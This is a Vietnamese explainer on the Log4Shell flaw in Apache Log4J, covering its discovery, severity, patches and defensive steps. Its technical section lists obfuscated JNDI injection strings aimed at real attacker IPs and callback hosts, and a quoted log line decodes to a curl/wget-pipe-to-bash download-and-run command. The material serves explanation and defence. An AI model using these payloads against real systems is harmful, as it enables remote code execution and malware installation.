Java hiện diện khắp nơi trong các thiết bị liên quan đến CNTT như điện thoại, máy tính để bàn, máy chủ, thiết bị IoT, router, máy in, máy photocopy, v.v. Phần lớn các ứng dụng phần mềm phổ biến và trò chơi cùng với các ứng dụng doanh nghiệp tùy chỉnh được phát triển bằng Java. Ước tính khoảng 3 tỷ thiết bị chạy Java. Các thư viện Java đưa tính mạnh mẽ của Java lên một tầm cao mới. Một trong những thư viện đó là Log4J được phát triển bởi Quỹ phần mềm Apache mã nguồn mở (Apache Software Foundation). Thư viện Log4J này là một phần thiết yếu của khung ghi log Java và chịu trách nhiệm ghi lại thông báo lỗi của một ứng dụng.
Việc sử dụng thư viện Log4J
Việc ghi log giúp các nhà phát triển thấy tất cả các hoạt động một ứng dụng đang thực hiện và gần như mọi ứng dụng phần mềm (kể cả dựa trên đám mây) đều tạo log cho lỗi của nó. Các nhà phát triển thường không tự tạo hệ thống ghi log của ứng dụng (để không phát minh lại bánh xe) mà ưu tiên sử dụng thư viện ghi log đã được thiết lập (một quy chuẩn chung trong lập trình và phát triển) và một trong những thư viện ghi log phổ biến nhất của Java là Log4J.
Vì vậy, gần như mọi ứng dụng (bao gồm ứng dụng của chính phủ, cơ quan, doanh nghiệp, Microsoft, Apple, Google, v.v.) được viết bằng Java có thể có thư viện này và một lỗ hổng trong một thư viện như vậy có thể là ác mộng an ninh mạng tồi tệ nhất và giấc mơ thành hiện thực cho hacker. Hơn nữa, thư viện này là mã nguồn mở, nên không có con số chính thức về số thiết bị/ứng dụng đang sử dụng thư viện này.
Log4J được sử dụng bởi nhiều ứng dụng phổ biến (như Twitter, Apple iCloud), trò chơi (như Minecraft, Steam), trang web, v.v. Cùng với đó, thư viện này cũng là một phần của nhiều khung công tác (frameworks) khác như Kafka, Elasticsearch, Flink. Danh sách các ứng dụng, sản phẩm, plugin dễ bị tấn công bởi lỗ hổng Log4J đang tăng liên tục.
Phát hiện lỗ hổng trong Log4J
Báo cáo đầu tiên về lỗ hổng trong Log4J ban đầu nổi lên vào ngày 1 tháng 12 năm 2021 bởi Chen Zhaojun từ nhóm Bảo mật Đám mây Alibaba (Alibaba Cloud Security team), người theo thực hành săn bug tiêu chuẩn và với tư cách là người CNTT có trách nhiệm, đã báo cho Quỹ Apache biết về lỗ hổng (mặc dù một số người săn bug bán các lỗ hổng như vậy cho hacker và các lỗ hổng đó không được phát hiện trong nhiều tháng hoặc năm). Phát hiện đã xảy ra trong Minecraft. Tính năng trò chuyện (chat feature) của Minecraft là nguồn xác định lỗ hổng Log4J.
Thuật toán trò chuyện của trò chơi dựa trên Java API sử dụng thư viện Log4J và thư viện này cho phép kẻ xấu đóng băng máy chủ Minecraft, loại bỏ tất cả người chơi, v.v. Trong môi trường thuận lợi, lỗ hổng này dễ dàng bị khai thác bằng Thực thi mã từ xa (RCE - Remote Code Execution), làm tăng mức độ đe dọa của lỗ hổng.
Sự hiện diện của lỗ hổng trong thư viện Log4J được công khai chấp nhận vào ngày 9 tháng 12 năm 2021 bởi Apache. Lỗ hổng được đặt tên là Log4Shell và chính thức được gán nhãn là CVE-2021-44228. Hệ thống đánh số CVE (Common Vulnerabilities and Exposures) là một hệ thống đặt tên để xác định duy nhất từng lỗ hổng/khai thác được phát hiện trên toàn thế giới.
Log4J được phân loại là lỗ hổng zero-day (hoặc 0 day). Lỗ hổng zero-day nghĩa là lỗ hổng đã bị hacker nhắm mục tiêu, ngay cả trước khi nhà phát triển biết đến lỗ hổng và có zero-day (không có ngày nào) để triển khai bản vá cho khai thác.
Các phiên bản bị ảnh hưởng của thư viện Log4J và các bản vá đã phát hành
Các phiên bản Log4J 2.0 đến 2.14.1 được báo cáo bị ảnh hưởng bởi lỗ hổng. Phiên bản Log4J 2.15.0 là bản vá gốc được phát hành cho CVE-2021-44228 nhưng sau đó, một lỗ hổng khác được tìm thấy trong Log4J (chủ yếu trong cấu hình không mặc định) được gán nhãn là CVE-2021-45046. Lỗ hổng này có tác động bảo mật là 3.7 (khá thấp so với lỗ hổng gốc). Quỹ Apache sau đó đã phát hành phiên bản Log4j 2.16 để vá lỗ hổng trong bản vá gốc.
Khi chúng tôi đang làm bài viết này, bản vá Log4J phiên bản 2.17 cho lỗ hổng Log4J được gán nhãn là CVE-2021-45105 (tấn công Từ chối dịch vụ/DoS) đã được phát hành từ Apache. Thông tin về các bản vá có sẵn trên trang bảo mật Log4J chính thức của trang web Apache.
Nhiều độc giả có thể nghĩ rằng vì bản vá đã được áp dụng cho Log4J, tại sao còn ồn ào? Mặc dù phiên bản mới nhất của thư viện Log4J đã được vá, các ứng dụng, sản phẩm, plugin, v.v. vẫn đang sử dụng các phiên bản Log4J cũ hơn vẫn chưa được vá. Cũng có trường hợp các ứng dụng đã trở thành abandonware (phần mềm bị bỏ rơi) và đang sử dụng phiên bản Log4J dễ bị tấn công. Abandonware là sản phẩm phần mềm bị bỏ qua/không phát triển thêm bởi chủ sở hữu/nhà sản xuất và không có hỗ trợ chính thức.
Mức độ nghiêm trọng của khai thác Log4J
Về thang đánh giá tác động bảo mật, khai thác Log4J dễ dàng được phân loại là 10/10 (mức rủi ro cao nhất có thể). Mức độ của lỗ hổng này lớn đến mức tất cả các bên liên quan lớn (Microsoft, Google, Cisco, v.v.) cùng với chính phủ và Apache (nhà phát triển Log4J) đang làm việc ngày đêm để vá lỗ hổng. Sự quan tâm và phản ứng của các công ty này có thể thấy trên trang web chính thức hoặc tài khoản mạng xã hội. Mức độ nghiêm trọng của lỗ hổng có thể thấy khi Jen Easterly giám đốc CISA (Cơ quan An ninh mạng và Cơ sở hạ tầng Mỹ - US Cybersecurity and Infrastructure Security Agency) nhắc đến lỗ hổng Log4J là
Một trong những lỗ hổng nghiêm trọng nhất tôi từng thấy trong toàn bộ sự nghiệp, nếu không phải là nghiêm trọng nhất.
Và do mức độ nghiêm trọng này, các lãnh đạo ngành CNTT cho rằng lỗ hổng Log4J sẽ tiếp tục ám ảnh ngành công nghiệp trong nhiều năm tới.
Tại sao lỗ hổng Log4J không được phát hiện sớm hơn?
Một câu hỏi nảy sinh trong tâm trí nhiều người dùng là tại sao một lỗ hổng lớn như vậy không được phát hiện sớm hơn vì thư viện Log4J có sẵn từ năm 2013. Mặc dù trong sự kiện BlackHatEvents Mỹ 2016 một lỗ hổng của Log4J đã được trình bày, đó thảo luận về JNDI dưới dạng vector tấn công, trong khi lỗ hổng hiện tại là một loại tiêm mẫu (template injection) cho phép sử dụng JNDI.
Nhưng trong các ứng dụng phần mềm, khai thác khó phát hiện vì khi công nghệ mới nổi lên, горизонт ngành CNTT thay đổi (ví dụ: ứng dụng phần mềm trước khi phát minh Internet và sau Internet là câu chuyện khác). Cũng như đã thảo luận trước đó, các phiên bản thư viện Log4J dưới 2.0 không bị ảnh hưởng (chúng có phần vấn đề riêng), vì vậy, tiến bộ công nghệ là lý do khai thác này có thể được phát hiện.
Các cuộc tấn công sử dụng lỗ hổng Log4J
Với khai thác mới xuất hiện, hacker đang nhắm công cụ của họ để sử dụng khai thác. Phần mềm độc hại đầu tiên được nhận thấy nhắm đến khai thác là CryptoMiners (khai thác tiền điện tử từ máy bị ảnh hưởng). Đi theo đó là Cobalt Strike (kiểm tra thâm nhập) để đánh cắp tên người dùng/mật khẩu từ hệ thống bị nhiễm. Sau đó, tàu được gia nhập bởi phần mềm độc hại dựa trên ransomware như Khonsari và danh sách đang tiếp tục. Và cuối cùng nhưng không kém phần quan trọng, nhóm hacker do nhà nước hỗ trợ (state-backed hacking groups) của các quốc gia khác nhau đang nhắm vào đối thủ bằng cách khai thác lỗ hổng này. Đây là bản đồ từ ESET về các cuộc tấn công được báo cáo (lượng tấn công lớn nhất tại Mỹ, Anh, Đức, Thổ Nhĩ Kỳ và Hà Lan.).
Cho đến nay, có hơn 1.800.000 sự cố được báo cáo (và vẫn đang tăng) về các nỗ lực sử dụng khai thác Log4J này bởi hacker. Cũng gần như hơn 40% mạng doanh nghiệp bị tấn công bằng lỗ hổng này. Sự có sẵn của mã khai thác trên các trang web khác nhau đã làm tình huống tồi tệ hơn. Hơn nữa, mọi thứ phức tạp hơn vì khai thác có thể được nhắm mục tiêu bởi giao thức HTTP và HTTPS.
Nhưng đó mới chỉ là điểm khởi đầu vì nếu một con sâu phần mềm độc hại (malware worm) nhắm đến lỗ hổng được phát triển, thì tác động của nó có thể lớn hơn nhiều so với lỗ hổng gốc. Bởi vì, con sâu máy tính là một phần mềm độc lập tự sao chép và lan truyền qua mạng (ví dụ: con sâu Code Red trong những năm 2000 hoặc WannaCry năm 2017).
Cách thức hoạt động
Thư viện Log4J (cùng với khung ghi log) theo dõi những gì một ứng dụng đang làm và để sử dụng khai thác, kẻ tấn công chỉ cần buộc một mục nhập log trong Log4J bằng một tác vụ đơn giản ví dụ: đặt tên người dùng của tài khoản hoặc gửi chuỗi mã trong email. Việc tạo mục nhập log của ứng dụng bởi kẻ tấn công trong khung ghi log có thể khác nhau từ ứng dụng này sang ứng dụng khác (ví dụ: trong Minecraft, tính năng trò chuyện được sử dụng) hoặc từ máy tính này sang máy tính khác. Khi một mục nhập log như vậy với mã độc được tạo, kẻ tấn công có thể tải mã độc vào máy, kiểm soát hoàn toàn hệ thống, lan truyền qua mạng, cài đặt phần mềm độc hại, khởi động hình thức tấn công khác hoặc bất cứ điều gì.
Phần nguy hiểm nhất của lỗ hổng này là nó là "trước xác thực (pre-authenticated)," nghĩa là hacker không cần đăng nhập vào hệ thống dễ bị tấn công để kiểm soát nó.
Khai thác có thể được mô tả đơn giản trong các bước sau:
- Khai thác được kích hoạt bởi hacker bằng cách gửi tải trọng độc hại (malicious payload) qua đầu vào do người dùng cung cấp. Tải trọng này có thể là tiêu đề HTTP/HTTPS hoặc bất cứ thứ gì đang được ghi log bởi ứng dụng dễ bị tấn công sử dụng Log4j.
- Ứng dụng ghi log tải trọng độc hại vào dữ liệu của nó.
- Thư viện Log4J cố gắng giải thích đầu vào người dùng độc hại và kết nối đến máy chủ do hacker kiểm soát (ví dụ: LDAP).
- Máy chủ độc hại (ví dụ: LDAP) trả về phản hồi chỉ dẫn ứng dụng tải một tệp lớp Java từ xa (remote class Java file).
- Ứng dụng tải xuống và thực thi tệp từ xa (remote file) mở cửa cho hacker thực hiện các hành động xấu của mình.
Quy trình được giải thích trong biểu đồ sau:
Bạn có an toàn không?
Vậy sau khi xem qua trên, một câu hỏi nảy sinh trong tâm trí người dùng là tôi có an toàn không? Tùy thuộc. Nếu người dùng là một phần của tổ chức sử dụng thư viện Java Log4J, thì anh ta và tổ chức của anh ta đang ở trong rủi ro. Nếu người dùng hoặc tổ chức của anh ta không sử dụng bất cứ thứ gì dựa trên Java (rất khó xảy ra) nhưng nếu các phụ thuộc ứng dụng doanh nghiệp, tiện ích của nhà cung cấp thứ 3 hoặc ứng dụng dựa trên Java, thì người dùng hoặc tổ chức có thể đang ở trong rủi ro. Bạn có thể tìm kiếm trên Internet các ứng dụng bạn đang sử dụng xem có dễ bị tấn công không.
Nên làm gì?
Bây giờ, câu hỏi cuối cùng, phải làm gì nếu lỗ hổng Log4J hiện diện trong hệ thống hoặc tổ chức của bạn.
Dành cho người dùng phổ thông
Một người dùng cuối phổ thông không thể làm gì đáng kể về lỗ hổng này trừ việc giữ ứng dụng (đặc biệt là ứng dụng diệt virus/chống phần mềm độc hại), thiết bị hoặc hệ điều hành cập nhật. Nếu người dùng đang sử dụng dạng abandonware, việc gỡ cài đặt nó có thể giữ an toàn hệ thống. Ngoài ra, nếu bạn đang sử dụng dịch vụ trực tuyến (như Stream), thì đảm bảo họ đã áp dụng các bản vá (kiểm tra trang chính thức hoặc tài khoản mạng xã hội) là con đường tiến về phía trước cho người dùng phổ thông.
Dành cho tổ chức
Quãng đường để bảo vệ tổ chức khỏi khai thác Log4J có thể khác nhau từ tổ chức này sang tổ chức khác. Bước đầu tiên nên là thực hiện kiểm toán (audit) toàn bộ cơ sở hạ tầng, phụ thuộc ứng dụng, tiện ích nhà cung cấp thứ 3 hoặc nhân viên từ xa để tìm ra xem lỗ hổng có tồn tại không. Việc kiểm toán nên tìm kiếm nhật ký ứng dụng cho các mẫu sau hoặc biến thể của chúng:
${jndi:ldap:/} ${jndi:ldaps:/} ${jndi:rmi:/} ${jndi:dns:/} ${jndi:iiop:/}Tổ chức cũng có thể sử dụng công cụ săn mối đe dọa tự động (automated threat hunting) và công cụ điều tra (investigation tools) (như Log4J Vulnerability Tester của TrendMicro) để tìm ra bất kỳ ứng dụng nào có lỗ hổng Log4J. Nhà phát triển của tổ chức nên được giao nhiệm vụ kiểm tra mã của họ cho bất kỳ tham chiếu nào đến lỗ hổng Log4J. Ngoài ra, các thiết bị đối mặt Internet (Internet-facing devices) của tổ chức nên được vá sớm nhất có thể để tránh thảm họa. Tổ chức nên hành động nhanh nhất có thể vì tổ chức phải cạnh tranh với kẻ xấu những người dẫn trước ít nhất 7 ngày trong việc nhắm mục tiêu lỗ hổng.
Thứ hai, một tường lửa ứng dụng web (web application firewall) cũng nên được đặt sớm nhất có thể để bảo vệ tài nguyên và dữ liệu của tổ chức. Gần như, mọi người chơi lớn (Microsoft, Oracle, Apple, Google, Amazon, v.v.) đã cập nhật dịch vụ và phát hành bản vá cho sản phẩm của họ. Vì vậy, tổ chức nên đảm bảo cập nhật tất cả ứng dụng và dịch vụ đang sử dụng đều được vá lên phiên bản mới nhất. Hơn nữa, tổ chức doanh nghiệp nên giới hạn lưu lượng Internet không cần thiết để giảm mức độ phơi bày, làm giảm mức độ rủi ro.
Các khía cạnh kỹ thuật của lỗ hổng
Cho đến nay, chúng tôi đã cố gắng bao quát lỗ hổng Log4J theo ngôn ngữ phổ thông nhưng trong phần này, chúng tôi sẽ thảo luận lỗ hổng Log4J theo thuật ngữ kỹ thuật của nhà phát triển. Lỗ hổng này được khai thác bằng cách sử dụng Tra cứu JNDI (JNDI Lookup - Java Naming and Directory Interface). Điều này có thể dẫn đến tấn công từ chối dịch vụ (DoS - denial-of-service). Bất cứ khi nào JNDI tìm thấy biểu thức như ${a_Java_expression}, nó tìm giá trị của biểu thức đó và thay thế nó. Một số tra cứu được Log4J hỗ trợ là sys, JNDI, env, java, lower, và upper. Một số giao thức được hỗ trợ bởi tra cứu Log4J là LDAP, DNS, RMI, và IIOP. Để tiêm một mục nhập vào nhật ký ứng dụng, kẻ tấn công có thể sử dụng yêu cầu HTTP đến máy chủ và khi nhận được yêu cầu, tra cứu Log4J sẽ tải xuống và thực thi malicious.class (được lưu trữ trên máy chủ LDAP do hacker kiểm soát), nếu thuộc tính ObjectClass trong đối tượng LDAP được định nghĩa là javaNamingReference và có các thuộc tính sau:
javaCodebase javaFactory javaClassName
Khi đó bộ nạp đối tượng LDAP (LDAP object loader) sẽ trích xuất nội dung của URL độc hại được định nghĩa trong javaCodebase và sẽ tạo một đối tượng tương ứng trong bộ nhớ (memory). Khi phương thức khởi tạo hoặc chính thức hơn, hàm tạo (constructor) của lớp được đề cập được thực thi, một mã không tin cậy (untrusted code) từ một nguồn không tin cậy (untrusted source) sẽ chạy trên máy bị nhiễm.
Biểu thức cơ bản nhất mà kẻ tấn công có thể tiêm vào Log4J là
${jndi:ldap://{attacker_website}/a}Điều này sẽ thực thi mã độc được lưu trữ (hosted) trên:
https://{attacker_website}/{malicious.class}Khi mã độc được thực thi thành công, máy chủ giải thích chuỗi dẫn đến các lệnh shell ở nhiều định dạng như JavaScript, Java Class, Unix shell, v.v.
Một yếu tố khác làm tăng mức độ nghiêm trọng của lỗ hổng là khả năng lồng nhau (nesting ability) của khối Java ${} sẽ làm cho việc phát hiện các chuỗi đáng ngờ khó khăn hơn nhiều. Ví dụ, thay vì sử dụng ${ jndi:}, hacker có thể sử dụng ${${lower:jn}${lower:di}} cho phép hacker trích xuất thông tin/dữ liệu từ máy chủ từ xa.
Một câu hỏi thú vị có thể nảy sinh trong tâm trí độc giả là đặt mã ở đâu có thể đưa vào thư viện Log4J? Nhiều ứng dụng ghi log mọi thứ xảy ra với chúng bao gồm các yêu cầu đến như tiêu đề HTTP (như User-Agent hoặc X-Forwarded-For), URI, nội dung yêu cầu, v.v. Phần tồi tệ nhất là kẻ tấn công có thể gửi yêu cầu như vậy đến trình ghi log của ứng dụng từ khắp nơi trên Internet và sau đó có thể đưa ra lệnh để kiểm soát máy bị nhiễm. Quy trình được làm rõ trong sơ đồ sau:
Dưới đây là một vài ví dụ của URL đã xác định cho đến nay để khởi động các loại tấn công khác nhau bằng cách sử dụng thư viện Log4J:
${jndi%3aldap%3a//0ky8rj5089x9qx7tq8djb3rpp.canarytokens[.]com/a} ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://${hostName:user:env}.c6340b92vtc00002scfggdpcz9eyyyyyd.interactsh[.]com} ${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160[.]149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC80NS41Ni45Mi4yMjk6ODB8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvNDUuNTYuOTIuMjI5OjgwKXxiYXNo} ${jndi:ldap://5819.u837r4g5oolsy8hudoz24c15nwtohd.burpcollaborator[.]net/a} ${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//62.182.80.168:1389/pien3m} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:l}${lower:d}${lower:a}${lower:p}}://67.205.191.102:1389/koejir}}Sau đây là một đoạn nhật ký máy chủ HTTP cho thấy một lần thử khai thác Log4J:
45.155.205[.]233:53590 server:80 - [10/Dec/2021:13:25:10 +0000] "GET / HTTP/1.1" 200 1671 "-" "${jndi:ldap://45.155.205[.]233:12344/Basic/Command/Base64/[BASE64-code-removed]}"Chuỗi base64 trong nhật ký trên giải mã thành:
(curl -s 45.155.xxx.xxx:5874/server:80||wget -q -O- 45.155.xxx.xxx:5874/server:80)|bash
Điều này sẽ tải mã độc từ 45.155.xxx.xxx và sau đó chạy script bằng Bash.
Cuối cùng, chúng tôi muốn độc giả cảnh giác trước mối đe dọa này và không nên xem nhẹ nó vì có lý do Internet đang "bùng nổ" do lỗ hổng này.